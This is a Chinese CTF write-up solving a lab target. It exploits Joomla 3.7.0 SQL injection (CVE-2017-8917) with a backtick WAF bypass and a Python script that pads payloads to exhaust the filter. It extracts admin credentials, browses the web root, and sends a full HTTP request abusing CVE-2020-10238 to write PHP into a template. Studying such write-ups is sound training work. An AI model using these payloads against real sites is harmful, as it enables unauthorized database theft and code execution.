掌控安全-封神台-擂台赛-B组复现

做了好几天A组,太顶了,全是0day,不知道远程环境的问题还是什么,跟着复现一直打不下来,就先肝了B组,A组有时间再搞了

信息收集

http://awd19-b22.aqlab.cn/language/en-GB/en-GB.xml

掌控安全-封神台-擂台赛-B组复现

信息泄露 Joomla v3.7.0

掌控安全-封神台-擂台赛-B组复现

搜到CVE-2017-8917,Joomla v3.7.0 SQL注入漏洞,直接拿POC打了

掌控安全-封神台-擂台赛-B组复现

但是发现有waf,经过尝试后发现,函数加反引号可以绕过过滤

再扫一扫,看能不能找到后台

访问/admincp,进入后台登陆页面

掌控安全-封神台-擂台赛-B组复现

sql注入

爆user:

http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,user()),1)

掌控安全-封神台-擂台赛-B组复现

爆库名:

http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,database()),1)          joomla

爆表名

发现失败,测试发现过滤了select from 组合

常见的绕过方法都试了一下,不行。只能尝试耗尽资源了

编写exp

import requests
url = 'http://awd19-b22.aqlab.cn/'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"
}
 
 
for i in range(2500,9999):
    payload1 = '`updatexml`(0x23,concat'
    payload2 = "/*"+"ABC"*i+"*/(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)"
    payload = payload1 + payload2
    data = {
        "option":"com_fields",
        "view":"fields",
        "layout":"modal",
        "list[fullordering]":payload
    }
    print(i)
    re = requests.post(url,headers=headers,data=data).text
    print(data)
    print(re)
    if "url" not in re:
        print(payload)
        print(re)

大概要七八千个字符的样子吧

跑表名:

掌控安全-封神台-擂台赛-B组复现

掌控安全-封神台-擂台赛-B组复现

找到像有flag的表

跑列名:

id和passwd

select id from #__user_flag

掌控安全-封神台-擂台赛-B组复现

select passwd from #__user_flag

掌控安全-封神台-擂台赛-B组复现

利用账号密码成功登陆后台

掌控安全-封神台-擂台赛-B组复现

访问根目录

在内容管理|多媒体文件管理|默认设置中可以更改默认上传路径,想改格式但是权限不够

掌控安全-封神台-擂台赛-B组复现

但是没关系,再返回多媒体文件管理处,此时可查看的文件目录已经变成根目录,发现flag

掌控安全-封神台-擂台赛-B组复现

越权

寻找Joomla漏洞,发现CVE-2020-10238

想尝试直接用poc打,试了一下普通管理员用户,失败

掌控安全-封神台-擂台赛-B组复现

思路:(借用零组文库中的)

  • 首先超级管理员跟管理员的后台界面是不同的
  • 将恶意代码添加到index.php里面
  • 使用管理员账户修改index.php,通过超级管理员进行index.php的文件编辑来获取到返回请求。
POST /administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA HTTP/1.1
Host: awd19-b22.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Origin: http://awd19-b22.aqlab.cn
Connection: close
Referer: http://awd19-b22.aqlab.cn/administrator/index.php?option=com_templates
Cookie: 130278f82abbc8f1ceb3ac4309021b2b=slam3h7l6okovrs20tvp1fesq0; security_background_key=9b7cb5d77dcd0fd33bcc81776e969fbc; 690431198df27d8fa794457ed53cca89=bffrsha2dq6ueau37ssp0pf176
Upgrade-Insecure-Requests: 1

jform%5Bsource%5D=<?php phpinfo() ?>&task=template.save&7f2ce2c7034f63a9d01ad505d26d83ee=1&jform%5Bextension_id%5D=506&jform%5Bfilename%5D=%2Ferror.php

提交如上数据包,访问/templates/protostar/error.php

掌控安全-封神台-擂台赛-B组复现

phpinfo成功执行

由于有waf,就不写shell了,直接ls爆路径,爆出flag即可

掌控安全-封神台-擂台赛-B组复现

上一篇:搬家第24天-citect V7.4 CitectVBA使用ADO连接ACCESS数据库,并且把表内容填入microsoft flexgrid控件里面


下一篇:41、flask--Restful详解